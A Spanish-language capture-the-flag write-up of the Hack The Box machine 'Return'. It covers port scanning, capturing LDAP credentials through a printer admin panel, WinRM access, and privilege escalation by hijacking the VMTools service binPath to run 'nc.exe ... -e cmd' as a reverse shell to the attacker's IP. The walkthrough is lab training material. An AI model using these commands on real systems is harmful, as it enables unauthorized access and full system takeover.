Entrada

Return

Return

Skills

  • Abusing Printer
  • Abusing Server Operators Group
  • Service Configuration Manipulation

Certificaciones

  • eJPT
  • OSCP (Escalada)

Descripción

Return es una máquina easy windows, obtenemos unas credenciales debido a que la web tiene un autologin, al hacer que la web se conecte a nuestro equipo obtenemos las credenciales que nos permiten conectarnos a la máquina víctima por winrm. Posteriormente escalamos privilegios abusando de un grupo privilegiado en el que nos encontramos


Reconocimiento

Se comprueba que la máquina está activa y se determina su sistema operativo, el ttl de las máquinas windows suele ser 128, en este caso hay un nodo intermediario que hace que el ttl disminuya en una unidad

1
2
3
4
5
6
7
8
# ping 10.129.95.241
PING 10.129.95.241 (10.129.95.241) 56(84) bytes of data.
64 bytes from 10.129.95.241: icmp_seq=1 ttl=127 time=64.7 ms
64 bytes from 10.129.95.241: icmp_seq=2 ttl=127 time=62.6 ms
^C
--- 10.129.95.241 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 62.578/63.628/64.679/1.050 ms

Nmap

Se va a realizar un escaneo de todos los puertos abiertos en el protocolo TCP a través de nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# sudo nmap -p- --open --min-rate 5000 -sS -n -Pn -v 10.129.95.150 -oG openPorts
[sudo] password for justice-reaper: 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-15 00:35 CEST
Initiating SYN Stealth Scan at 00:35
Scanning 10.129.95.150 [65535 ports]
Discovered open port 22/tcp on 10.129.95.150
Discovered open port 5000/tcp on 10.129.95.150
Completed SYN Stealth Scan at 00:36, 13.31s elapsed (65535 total ports)
Nmap scan report for 10.129.95.150
Host is up (0.073s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
5000/tcp open  upnp

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.39 seconds
           Raw packets sent: 65591 (2.886MB) | Rcvd: 65592 (2.624MB)

Se procede a realizar un análisis de detección de servicios y la identificación de versiones utilizando los puertos abiertos encontrados

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# map -sCV -p53,80,88,135,139,389,445,464,593,636,5985,9389,47001,49664,49665,49666,49667,49671,49674,49675,49678,49681,49697 10.129.95.241 -oN services
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-15 11:39 CEST
Nmap scan report for 10.129.95.241
Host is up (0.12s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: HTB Printer Admin Panel
| http-methods: 
|_  Potentially risky methods: TRACE
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-07-15 09:57:59Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49671/tcp open  msrpc         Microsoft Windows RPC
49674/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49675/tcp open  msrpc         Microsoft Windows RPC
49678/tcp open  msrpc         Microsoft Windows RPC
49681/tcp open  msrpc         Microsoft Windows RPC
49697/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: PRINTER; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2024-07-15T09:58:50
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: 18m33s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 69.20 seconds

Web Enumeration

Al acceder al servicio web vemos lo siguiente

Me llama la atención mucho que podamos poner una ip en Server Address, nos vamos a poner en escucha con netcat por el puerto 389

1
# nc -nlvp 389

En la página web vamos a introducir nuestra dirección ip

Esto es lo que obtenemos, en mi opinión esto puede ser un usuario y contraseña que se han leakeado

1
2
3
4
5
# nc -nlvp 389
listening on [any] 389 ...
connect to [10.10.16.16] from (UNKNOWN) [10.129.95.241] 64447
0*`%return\svc-printer�
                       1edFg43012!!

Vamos a validar las credenciales por los diferentes servicios que tiene la máquina víctima usando crackmapexec

1
2
3
# crackmapexec smb 10.129.95.241 -u 'svc-printer' -p '1edFg43012!!'  
SMB         10.129.95.241   445    PRINTER          [*] Windows 10 / Server 2019 Build 17763 x64 (name:PRINTER) (domain:return.local) (signing:True) (SMBv1:False)
SMB         10.129.95.241   445    PRINTER          [+] return.local\svc-printer:1edFg43012!! 
1
2
3
4
# crackmapexec winrm 10.129.95.241 -u 'svc-printer' -p '1edFg43012!!'   
SMB         10.129.95.241   5985   PRINTER          [*] Windows 10 / Server 2019 Build 17763 (name:PRINTER) (domain:return.local)
HTTP        10.129.95.241   5985   PRINTER          [*] http://10.129.95.241:5985/wsman
WINRM       10.129.95.241   5985   PRINTER          [+] return.local\svc-printer:1edFg43012!! (Pwn3d!)

Instrusión

Al parecer nos podemos conectar a la máquina víctima a través de winrm, por lo tanto vamos a hacerlo

1
2
3
4
5
6
7
8
9
10
11
# evil-winrm -u 'svc-printer' -p '1edFg43012!!' -i 10.129.95.241 
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc-printer\Documents> whoami
return\svc-printer

Privilege Escalation

Vamos a transferirnos winpeas.exe a la máquina víctima, lo primero es descargarnos el binario en https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS, desde el mismo directorio donde está el archivo nos creamos un servidor con python por el puerto 80

1
# python -m http.server 80

Desde la máquina víctima ejecutamos este comando para que nos envíe el archivo al escritorio de nuestro usuario

1
*Evil-WinRM* PS C:\Users\Administrator\Desktop> Invoke-WebRequest -Uri "http://10.10.16.16/winpeas.exe" -OutFile "$env:USERPROFILE\Desktop\winpeas.exe"

Almacenamos el output de winpeas en un archivo de texto

1
*Evil-WinRM* PS C:\Users\Administrator\Desktop> ./winpeas.exe > output.txt

Nos vamos a enviar este archivo a nuestra máquina linux, lo primero es montarnos un servidor smb

1
# impacket-smbserver smbFolder $(pwd) -smb2support

Desde la máquina víctima nos enviamos el output a nuestro equipo, analizando el output no he visto nada interesante así que vamos a hacerlo de forma manual

1
*Evil-WinRM* PS C:\Users\svc-printer\Desktop> copy output.txt \\10.10.16.16\smbFolder\output.txt

Otra opción sería hacer lo siguiente

1
2
3
4
5
# *Evil-WinRM* PS C:\Users\svc-printer\Desktop> download output.txt
                                        
Info: Downloading C:\Users\svc-printer\Desktop\output.txt to output.txt
                                        
Info: Download successful!

Listamos los privilegios de nuestro usuario

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
*Evil-WinRM* PS C:\Users\svc-printer\Desktop> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                         State
============================= =================================== =======
SeMachineAccountPrivilege     Add workstations to domain          Enabled
SeLoadDriverPrivilege         Load and unload device drivers      Enabled
SeSystemtimePrivilege         Change the system time              Enabled
SeBackupPrivilege             Back up files and directories       Enabled
SeRestorePrivilege            Restore files and directories       Enabled
SeShutdownPrivilege           Shut down the system                Enabled
SeChangeNotifyPrivilege       Bypass traverse checking            Enabled
SeRemoteShutdownPrivilege     Force shutdown from a remote system Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set      Enabled
SeTimeZonePrivilege           Change the time zone                Enabled

Listamos los grupos de nuestro usuario e información detallada

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
SeTimeZonePrivilege           Change the time zone                Enabled
*Evil-WinRM* PS C:\Users\svc-printer\Desktop> net user svc-printer
User name                    svc-printer
Full Name                    SVCPrinter
Comment                      Service Account for Printer
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            5/26/2021 1:15:13 AM
Password expires             Never
Password changeable          5/27/2021 1:15:13 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   5/26/2021 1:39:29 AM

Logon hours allowed          All

Local Group Memberships      *Print Operators      *Remote Management Use
                             *Server Operators
Global Group memberships     *Domain Users
The command completed successfully.

Listamos los servicios del sistema

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
*Evil-WinRM* PS C:\Users\svc-printer\Desktop> services

Path                                                                                                                 Privileges Service          
----                                                                                                                 ---------- -------          
C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe                                                                  True ADWS             
\??\C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{5533AFC7-64B3-4F6E-B453-E35320B35716}\MpKslDrv.sys       True MpKslceeb2796    
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SMSvcHost.exe                                                              True NetTcpPortSharing
C:\Windows\SysWow64\perfhost.exe                                                                                           True PerfHost         
"C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe"                                                False Sense            
C:\Windows\servicing\TrustedInstaller.exe                                                                                 False TrustedInstaller 
"C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe"                                                     True VGAuthService    
"C:\Program Files\VMware\VMware Tools\vmtoolsd.exe"                                                                        True VMTools          
"C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2104.14-0\NisSrv.exe"                                             True WdNisSvc         
"C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2104.14-0\MsMpEng.exe"                                            True WinDefend        
"C:\Program Files\Windows Media Player\wmpnetwk.exe"                                                                      False WMPNetworkSvc  

He encontrado que los usuarios del grupo Server Operators pueden hacer varias cosas interesantes, entre ellas la de parar y correr servicios. Esta información la he encontrado en https://learn.microsoft.com/es-es/windows-server/identity/ad-ds/manage/understand-security-groups#server-operators. El siguiente paso para escalar privilegios es mandarnos el netcat.exe a la máquina víctima, para ello debemos descargarnos el binario de netcat https://eternallybored.org/misc/netcat/

1
2
3
4
5
6
7
*Evil-WinRM* PS C:\Users\svc-printer\Documents> upload /home/justice-reaper/Downloads/netcat-1.11/nc.exe
                                        
Info: Uploading /home/justice-reaper/Downloads/netcat-1.11/nc.exe to C:\Users\svc-printer\Documents\nc.exe
                                        
Data: 48704 bytes of 48704 bytes copied
                                        
Info: Upload successful!

He probado a crear un servicio y no me deja, he estado probando varios servicios y al final he dado con el servicio VMTools que me ha dejado modificarlo

1
2
*Evil-WinRM* PS C:\Users\svc-printer\Documents> sc.exe config VMTools binPath="C:\Users\svc-printer\Documents\nc.exe 10.10.16.16 443 -e cmd"
[SC] ChangeServiceConfig SUCCESS

Nos ponemos en escucha en netcat en el puerto 443

1
# nc -nlvp 443 

Lo siguiente que hacemos es parar el servicio

1
2
3
4
5
6
7
8
9
*Evil-WinRM* PS C:\Users\svc-printer\Documents> sc.exe stop VMTools

SERVICE_NAME: VMTools
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 1  STOPPED
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0

Ahora al iniciar el servicio VMTools, nos va ha coger el binPath del nc.exe y nos va a mandar una cmd a nuestro equipo

1
*Evil-WinRM* PS C:\Users\svc-printer\Documents> sc.exe start VMTools

Ganamos acceso como nt authority\system debido a que el grupo Server Operators es un grupo privilegiado

1
2
3
4
5
6
7
8
9
# nc -nlvp 443
listening on [any] 443 ...
sconnect to [10.10.16.16] from (UNKNOWN) [10.129.95.241] 51102
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system
Esta entrada está licenciada bajo CC BY 4.0 por el autor.